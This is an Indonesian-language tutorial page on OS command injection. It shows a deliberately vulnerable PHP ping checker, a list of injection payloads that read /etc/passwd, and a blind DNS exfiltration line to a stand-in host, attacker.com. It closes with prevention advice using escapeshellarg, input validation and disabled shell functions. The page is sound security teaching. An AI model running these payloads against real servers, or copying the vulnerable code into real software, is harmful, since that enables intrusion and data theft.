Home Pelajaran Web Security Command Injection
Menengah 25 min Web Security

Command Injection

Eksploitasi OS Command Injection: shell metacharacters, chaining commands, blind injection, dan pencegahan dengan escapeshellcmd.

Command Injection (OS Command Injection) adalah kerentanan di mana penyerang bisa mengeksekusi perintah sistem operasi di server melalui aplikasi web. Ini terjadi ketika input pengguna langsung dimasukkan ke dalam system command tanpa sanitasi. Dampak: RCE, akses shell, data breach total.

Bagaimana Command Injection Bekerja

Contoh klasik: aplikasi ping checker yang menjalankan perintah ping via sistem operasi.

PHP (Rentan)
$ip = $_GET["ip"];
$output = shell_exec("ping -c 3 " . $ip);
echo $output;

Jika user input: 127.0.0.1; id, maka yang dieksekusi adalah ping -c 3 127.0.0.1; id — dua perintah sekaligus.

Shell Metacharacters

Karakter khusus untuk command injection:

Command Injection Operators
; command    # Execute next command (Linux & Windows)
&& command   # Execute next if first succeeds
|| command   # Execute next if first fails
| command    # Pipe output to next command
`command`   # Execute inline command
$(command)  # Execute inline command
\n command   # Newline, then command (some systems)

Payload Examples

Command Injection Payloads
127.0.0.1; whoami
127.0.0.1 && ls -la
127.0.0.1 | cat /etc/passwd
127.0.0.1 `id`
127.0.0.1 $(cat /etc/passwd)
%0a id    # URL-encoded newline + command
127.0.0.1%0awhoami

Blind Command Injection

Saat output tidak terlihat, gunakan teknik blind:

  • Time Delay: & sleep 10 — jika response delay 10 detik, injection berhasil
  • Out-of-Band: & nslookup $(whoami).attacker.com — data dikirim via DNS
  • File Write: ; echo "eksploitasi" > /tmp/pwned.txt — tulis file sebagai bukti

Cara Mencegah Command Injection

  • Hindari shell commands — gunakan library/built-in function sebagai alternatif
  • escapeshellcmd() / escapeshellarg() — escape karakter khusus shell
  • Input validation & whitelisting — hanya izinkan karakter yang aman (alfanumerik)
  • Disable shell functions — di php.ini: disable_functions = exec,shell_exec,system,passthru,proc_open,popen
  • Least privilege — jalankan web server dengan user terbatas (www-data, bukan root)
PHP (Aman)
// Gunakan escapeshellarg untuk melindungi argumen
$ip = escapeshellarg($_GET["ip"]);
$output = shell_exec("ping -c 3 " . $ip);

// Atau lebih baik: validasi input
if (filter_var($_GET["ip"], FILTER_VALIDATE_IP)) {
    $output = shell_exec("ping -c 3 " . escapeshellarg($_GET["ip"]));
}

Referensi

  • OWASP Command Injection: https://owasp.org/www-community/attacks/Command_Injection
  • PortSwigger OS Command Injection: https://portswigger.net/web-security/os-command-injection